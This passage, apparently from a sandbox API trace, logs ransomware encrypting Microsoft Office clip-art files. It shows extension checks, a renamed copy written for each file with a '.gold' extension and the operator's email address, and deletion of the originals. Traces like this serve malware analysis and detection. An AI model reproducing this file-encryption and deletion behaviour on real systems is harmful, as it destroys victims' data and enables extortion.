Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0090.419] lstrlenW (lpString=".jpg") returned 4 [0090.419] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.419] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0090.419] lstrlenW (lpString="DD00372_.WMF") returned 12 [0090.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0090.537] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=792) returned 1 [0090.537] CloseHandle (hObject=0x33c) returned 1 [0090.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf")) returned 0x20 [0090.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0090.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0090.563] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.563] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0090.568] GetLastError () returned 0x0 [0090.568] ReadFile (in: hFile=0x19c, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x318, lpOverlapped=0x0) returned 1 [0090.600] WriteFile (in: hFile=0x33c, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x320, lpOverlapped=0x0) returned 1 [0090.601] ReadFile (in: hFile=0x19c, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0090.601] WriteFile (in: hFile=0x33c, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0090.601] SetEndOfFile (hFile=0x33c) returned 1 [0090.601] CloseHandle (hObject=0x33c) returned 1 [0090.601] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.601] SetEndOfFile (hFile=0x19c) returned 1 [0090.621] CloseHandle (hObject=0x19c) returned 1 [0090.621] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0090.636] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf")) returned 1 [0090.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0090.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0090.720] lstrlenW (lpString=".doc") returned 4 [0090.720] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.720] lstrlenW (lpString=".docx") returned 5 [0090.720] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0090.720] lstrlenW (lpString=".pdf") returned 4 [0090.720] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.720] lstrlenW (lpString=".xls") returned 4 [0090.720] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.720] lstrlenW (lpString=".xlsx") returned 5 [0090.720] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0090.720] lstrlenW (lpString=".ppt") returned 4 [0090.720] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0090.721] lstrlenW (lpString=".zip") returned 4 [0090.721] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.721] lstrlenW (lpString=".rar") returned 4 [0090.721] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.721] lstrlenW (lpString=".bz2") returned 4 [0090.721] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.721] lstrlenW (lpString=".7z") returned 3 [0090.721] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0090.721] lstrlenW (lpString=".dbf") returned 4 [0090.721] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0090.721] lstrlenW (lpString=".1cd") returned 4 [0090.721] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0090.721] lstrlenW (lpString=".jpg") returned 4 [0090.721] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0090.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0090.721] lstrlenW (lpString=".doc") returned 4 [0090.721] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.721] lstrlenW (lpString=".docx") returned 5 [0090.721] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0090.721] lstrlenW (lpString=".pdf") returned 4 [0090.721] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.721] lstrlenW (lpString=".xls") returned 4 [0090.721] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.721] lstrlenW (lpString=".xlsx") returned 5 [0090.721] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0090.721] lstrlenW (lpString=".ppt") returned 4 [0090.721] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0090.721] lstrlenW (lpString=".zip") returned 4 [0090.721] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.721] lstrlenW (lpString=".rar") returned 4 [0090.721] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.721] lstrlenW (lpString=".bz2") returned 4 [0090.721] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.721] lstrlenW (lpString=".7z") returned 3 [0090.721] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0090.721] lstrlenW (lpString=".dbf") returned 4 [0090.721] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0090.721] lstrlenW (lpString=".1cd") returned 4 [0090.722] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0090.722] lstrlenW (lpString=".jpg") returned 4 [0090.722] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.722] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0090.722] lstrlenW (lpString="DD00448_.WMF") returned 12 [0090.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0090.804] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=2952) returned 1 [0090.804] CloseHandle (hObject=0x19c) returned 1 [0090.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf")) returned 0x20 [0090.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0090.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0090.965] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.965] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0090.966] GetLastError () returned 0x0 [0090.966] ReadFile (in: hFile=0x398, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0xb88, lpOverlapped=0x0) returned 1 [0090.980] WriteFile (in: hFile=0x33c, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xb90, lpOverlapped=0x0) returned 1 [0090.981] ReadFile (in: hFile=0x398, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0090.981] WriteFile (in: hFile=0x33c, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0090.981] SetEndOfFile (hFile=0x33c) returned 1 [0090.982] CloseHandle (hObject=0x33c) returned 1 [0090.982] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.982] SetEndOfFile (hFile=0x398) returned 1 [0090.983] CloseHandle (hObject=0x398) returned 1 [0090.983] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0091.052] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf")) returned 1 [0094.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0094.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0094.169] lstrlenW (lpString=".doc") returned 4 [0094.170] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.170] lstrlenW (lpString=".docx") returned 5 [0094.170] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.170] lstrlenW (lpString=".pdf") returned 4 [0094.170] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.170] lstrlenW (lpString=".xls") returned 4 [0094.170] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.170] lstrlenW (lpString=".xlsx") returned 5 [0094.170] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.170] lstrlenW (lpString=".ppt") returned 4 [0094.170] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0094.170] lstrlenW (lpString=".zip") returned 4 [0094.170] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.170] lstrlenW (lpString=".rar") returned 4 [0094.170] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.170] lstrlenW (lpString=".bz2") returned 4 [0094.170] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.170] lstrlenW (lpString=".7z") returned 3 [0094.170] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0094.170] lstrlenW (lpString=".dbf") returned 4 [0094.170] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0094.170] lstrlenW (lpString=".1cd") returned 4 [0094.170] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0094.170] lstrlenW (lpString=".jpg") returned 4 [0094.170] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0094.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0094.170] lstrlenW (lpString=".doc") returned 4 [0094.170] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.170] lstrlenW (lpString=".docx") returned 5 [0094.170] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.170] lstrlenW (lpString=".pdf") returned 4 [0094.170] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.170] lstrlenW (lpString=".xls") returned 4 [0094.170] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.170] lstrlenW (lpString=".xlsx") returned 5 [0094.170] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.170] lstrlenW (lpString=".ppt") returned 4 [0094.170] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0094.171] lstrlenW (lpString=".zip") returned 4 [0094.171] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.171] lstrlenW (lpString=".rar") returned 4 [0094.171] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.171] lstrlenW (lpString=".bz2") returned 4 [0094.171] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.171] lstrlenW (lpString=".7z") returned 3 [0094.171] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0094.171] lstrlenW (lpString=".dbf") returned 4 [0094.171] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0094.171] lstrlenW (lpString=".1cd") returned 4 [0094.171] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0094.171] lstrlenW (lpString=".jpg") returned 4 [0094.171] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.171] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0094.171] lstrlenW (lpString="DD01152_.WMF") returned 12 [0094.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0094.347] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=2960) returned 1 [0094.347] CloseHandle (hObject=0x190) returned 1 [0094.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf")) returned 0x20 [0094.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0094.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0094.392] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.392] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0094.394] GetLastError () returned 0x0 [0094.394] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0xb90, lpOverlapped=0x0) returned 1 [0094.424] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xba0, lpOverlapped=0x0) returned 1 [0094.425] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0094.425] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0094.425] SetEndOfFile (hFile=0x3b0) returned 1 [0094.425] CloseHandle (hObject=0x3b0) returned 1 [0094.425] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.425] SetEndOfFile (hFile=0x3a0) returned 1 [0094.427] CloseHandle (hObject=0x3a0) returned 1 [0094.427] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0094.427] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf")) returned 1 [0094.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0094.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0094.428] lstrlenW (lpString=".doc") returned 4 [0094.428] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.428] lstrlenW (lpString=".docx") returned 5 [0094.428] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.428] lstrlenW (lpString=".pdf") returned 4 [0094.428] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.428] lstrlenW (lpString=".xls") returned 4 [0094.428] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.428] lstrlenW (lpString=".xlsx") returned 5 [0094.428] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.428] lstrlenW (lpString=".ppt") returned 4 [0094.428] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0094.428] lstrlenW (lpString=".zip") returned 4 [0094.428] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.428] lstrlenW (lpString=".rar") returned 4 [0094.428] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.428] lstrlenW (lpString=".bz2") returned 4 [0094.428] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.428] lstrlenW (lpString=".7z") returned 3 [0094.428] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0094.428] lstrlenW (lpString=".dbf") returned 4 [0094.428] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0094.428] lstrlenW (lpString=".1cd") returned 4 [0094.428] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0094.428] lstrlenW (lpString=".jpg") returned 4 [0094.428] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0094.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0094.429] lstrlenW (lpString=".doc") returned 4 [0094.429] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.429] lstrlenW (lpString=".docx") returned 5 [0094.429] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.429] lstrlenW (lpString=".pdf") returned 4 [0094.429] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.429] lstrlenW (lpString=".xls") returned 4 [0094.429] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.429] lstrlenW (lpString=".xlsx") returned 5 [0094.429] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.429] lstrlenW (lpString=".ppt") returned 4 [0094.429] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0094.429] lstrlenW (lpString=".zip") returned 4 [0094.429] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.429] lstrlenW (lpString=".rar") returned 4 [0094.429] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.429] lstrlenW (lpString=".bz2") returned 4 [0094.429] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.429] lstrlenW (lpString=".7z") returned 3 [0094.429] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0094.429] lstrlenW (lpString=".dbf") returned 4 [0094.429] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0094.429] lstrlenW (lpString=".1cd") returned 4 [0094.429] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0094.429] lstrlenW (lpString=".jpg") returned 4 [0094.429] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.429] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0094.429] lstrlenW (lpString="DD01171_.WMF") returned 12 [0094.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 